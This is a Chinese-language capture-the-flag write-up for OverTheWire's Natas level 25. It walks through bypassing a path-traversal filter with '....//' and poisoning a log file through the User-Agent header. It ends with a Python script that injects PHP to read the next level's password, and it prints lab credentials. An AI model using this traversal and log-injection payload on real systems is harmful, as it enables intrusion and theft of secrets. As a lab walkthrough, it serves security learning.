Overthewire-natas25
Overthewire level 25 to level 26
进入页面发现它输出了很长一段内容,仔细一瞅全是废话...但是它提供了一个选择英文和德文的界面,可以选择展示在首页上的文本的语言。
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
通过分析源代码,我们发现它用了一个自定义的safeinclude
的函数来读取文件里的内容。
这个自定义的safeinclude
函数定制了两个过滤路径的办法。
strstr($filename,"../")
strstr($filename,"natas_webpass")
两个函数的过滤等级不一样,第一个只是将路径里面的../
替换成空,而第二个则是直接退出程序。因此我们可以触发一下第一个过滤的检测机制。
像字符串替换这种机制其实是很好绕过的, 比如说我们用....//
,触发它的检测后字符串就会被替换成../
,就达到了我们自定义路径的目的。
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
从setLanguage()
可以判断出en
、de
这两个文件在language
路径下,我们可以试试之前的路径替换是否生效。
请求http://natas25.natas.labs.overthewire.org/?lang=....//language/de
, 发现它正常显示出了德文文本而不是默认的英文文本,因此判断这个路径渗透成功了。但是由于第二个过滤机制,我们不能直接从/etc/natas_webpass/natas26
中读取密码,因此我们要想办法把它的内容提取到另外一个文件中。
网页的源码还提供了一些其它的函数
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
这个log函数读取$message
的内容,并且没有经过检测就直接将HTTP_USER_AGENT
的内容拼接到log里面去,因此我们可以把它作为一个注入点,写入我们自定义的代码,并且结合之前的safeinclude
漏洞可以让我们读取这个文件的内容。
因此我们可以大概确定攻击思路为
- 利用
logRequest
将密码读取到日志中 - 将该日志展示出来。
我们先看看现在的log内容
请求http://natas25.natas.labs.overthewire.org/index.php?lang=....//logs/natas25_6siv6f15h81cpc3t44fi08eha5.log
[29.05.2021 11::28:40] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::44:47] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:09] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::45:29] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request." [29.05.2021 11::49:57] Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 "Directory traversal attempt! fixing request."
Notice: Undefined variable: __GREETING in /var/www/natas/natas25/index.php on line 80
Notice: Undefined variable: __MSG in /var/www/natas/natas25/index.php on line 81
Notice: Undefined variable: __FOOTER in /var/www/natas/natas25/index.php on line 82
这是include(../logs/natas25_natas25_6siv6f15h81cpc3t44fi08eha5.log)
之后的内容,由于include在读取php文件时会进行预处理,结合这里log文件中的UNdefined variable: __GREETING...
可以判断出,展示出来的首页需要有三个变量__GREETING, __MSG, __FOOTER
, 我们只需要将密码设置在这三个变量中的一个即可。攻击代码如下
import requests
auth = ('natas25', 'GHF6X7YwACaYYssHVY05cFq83hRktl4c')
resp = requests.get('http://natas25.natas.labs.overthewire.org', auth=auth)
sid = resp.cookies['PHPSESSID']
resp = requests.get(f'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_{sid}.log',
auth=auth,
headers={
'User-Agent': "<?php global $__MSG;$__MSG=file_get_contents('/etc/natas_webpass/natas26'); ?>"},
cookies={'PHPSESSID': sid})
print(resp.text)
第26关的密码为oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T